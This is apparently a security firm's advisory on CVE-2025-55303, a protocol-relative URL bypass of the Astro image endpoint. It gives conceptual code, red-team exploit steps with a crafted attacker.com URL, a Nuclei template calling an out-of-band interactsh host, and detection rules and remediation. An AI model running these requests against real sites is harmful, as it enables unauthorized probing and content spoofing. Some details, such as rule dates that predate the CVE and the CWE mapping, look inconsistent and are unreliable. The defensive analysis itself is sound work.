CVE-2025-55303

Executive Summary

CVE-2025-55303 is a vulnerability in the Astro web framework affecting versions prior to 5.13.2 and 4.16.18. The flaw resides in the image optimization endpoint (/_image) used in on-demand rendered deployments. An attacker can bypass domain restrictions by supplying a protocol-relative URL (e.g., //attacker.com/image.png) as the href parameter, allowing unauthorized third-party images to be served through the legitimate Astro endpoint. This can lead to information disclosure, content spoofing, or SSRF-like behavior if the endpoint is abused to probe internal networks. The vulnerability has a CVSS v4 score of 6.4 (Medium) and is publicly exploitable with a verified Nuclei template.

Supply Chain & Package Security

Astro is distributed via npm (astro package). The vulnerability affects all versions before 5.13.2 and 4.16.18. Organizations using Astro in on-demand rendering mode should immediately update to the patched versions. No malicious packages have been reported in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

• CVSS v4 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Passive (victim must load a crafted image URL)
• Confidentiality Impact (System): High (attacker can serve arbitrary images, potentially leaking sensitive data)
• Integrity Impact (System): High (attacker can spoof content)
• Availability Impact (System): None
• EPSS Score: 0.00145% (low exploitation probability)
• Threat Level: Medium – Exploitation requires user interaction but is trivial to execute.

Deep Dive & Mechanics

The vulnerability exists in Astro’s image optimization middleware. When a request is made to /_image?href=..., the server validates the href parameter against a whitelist of allowed domains. However, the validation logic fails to properly handle protocol-relative URLs (starting with //). Instead of rejecting such URLs, the server treats them as valid and fetches the image from the attacker-controlled domain.

Root Cause: The domain validation function likely checks for an absolute URL scheme (e.g., http:// or https://) but does not account for protocol-relative URLs. When a URL like //evil.com/image.png is provided, the server interprets it as a valid relative path and proceeds to fetch the resource, effectively bypassing the domain whitelist.

Impact: An attacker can:

• Serve arbitrary images from external domains, potentially injecting malicious content (e.g., phishing images, tracking pixels).
• Use the endpoint to probe internal network resources (SSRF-like behavior) if the server resolves the protocol-relative URL against internal DNS.
• Leak information by embedding unique identifiers in image URLs and monitoring access logs.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable validation logic
function isAllowedDomain(url) {
  const parsed = new URL(url);
  return allowedDomains.includes(parsed.hostname);
}
// This fails for protocol-relative URLs because new URL('//evil.com/img.png') 
// throws an error or returns an unexpected hostname.

Patched Code (Conceptual):

// Patched validation logic
function isAllowedDomain(url) {
  // Reject protocol-relative URLs explicitly
  if (url.startsWith('//')) return false;
  const parsed = new URL(url);
  return allowedDomains.includes(parsed.hostname);
}

The patch ensures that protocol-relative URLs are rejected before any domain validation occurs.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A publicly accessible Astro instance with on-demand rendering enabled (default for many deployments).
• An attacker-controlled HTTP server (e.g., using interactsh or a custom server).

Exploit Steps:

1. Identify the target Astro endpoint: https://target.com/_image
2. Craft a malicious URL: https://target.com/_image?href=//attacker.com/evil.png
3. Host a malicious image on attacker.com/evil.png (e.g., a tracking pixel or phishing image).
4. Send the crafted URL to a victim or embed it in a page.
5. The victim’s browser loads the image from the legitimate Astro domain, but the content is served from the attacker’s server.

Nuclei Template (Provided):

id: CVE-2025-55303

info:
  name: Astro - Unauthorized Third-Party Image Access
  author: theamanrawat
  severity: medium
  description: |
    Astro < 5.13.2 and < 4.16.18 contains an information disclosure vulnerability caused by improper validation of protocol-relative URLs in the image optimization endpoint, letting attackers serve images from unauthorized third-party domains, exploit requires on-demand rendering deployment.
  impact: |
    Attackers can serve images from unauthorized third-party domains, potentially leading to information disclosure or content spoofing.
  remediation: |
    Update to versions 5.13.2 or 4.16.18 or later.
  reference:
    - https://github.com/advisories/GHSA-xf8x-j4p2-f749
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55303
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
    cvss-score: 6.4
    cve-id: CVE-2025-55303
    epss-score: 0.00145
    epss-percentile: 0.34458
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"astro"
  tags: cve,cve2025,astro,ssrf,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/_image?href=//{{interactsh-url}}/600x400"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'interactsh_protocol == "http"'
          - 'contains(header, "image/")'
        condition: and

Usage: Run with Nuclei: nuclei -t CVE-2025-55303.yaml -u https://target.com

Blue Team

Detection Steps:

1. Monitor access logs for requests to /_image with href parameters starting with //.
2. Alert on any /_image requests where the href parameter does not match the allowed domain list.
3. Use the provided YARA/Sigma rules to detect exploitation attempts.

Honeypot: Deploy a fake Astro endpoint and log all /_image requests. Any request with a protocol-relative URL is malicious.

Indicators of Compromise (IOCs)

• URL Pattern: /_image?href=//* (protocol-relative URL)
• HTTP Request: GET /_image?href=//attacker.com/image.png
• Response Header: Content-Type: image/* (served from unexpected domain)
• Log Entry: GET /_image?href=//... with status 200

Detection Engineering

YARA Rule

rule CVE_2025_55303_Astro_Image_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2025-55303 in Astro web framework"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-55303"
    strings:
        $url_pattern = /\/_image\?href=\/\// nocase
    condition:
        $url_pattern
}

Sigma Rule

title: Astro Image Optimization Endpoint Protocol-Relative URL Bypass
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects requests to Astro's /_image endpoint with protocol-relative URLs (starting with //)
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55303
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "/_image?href=//"
    condition: selection
falsepositives:
    - Legitimate use of protocol-relative URLs if allowed by configuration (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55303 Astro Image Optimization Protocol-Relative URL Bypass"; flow:to_server,established; content:"/_image?href=//"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Astro to version 5.13.2 or 4.16.18 (or later).
2. If immediate update is not possible, implement a WAF rule to block requests to /_image with href parameters starting with //.
3. Restrict the /_image endpoint to only allow specific domains via reverse proxy configuration.

Long-Term Fix:

• Apply the patch provided by the Astro maintainers.
• Review all URL validation logic to ensure protocol-relative URLs are explicitly rejected.

Workaround:

• Disable on-demand rendering if not required, or use a CDN that validates image sources.

Valters IT
Securing Digital Frontiers

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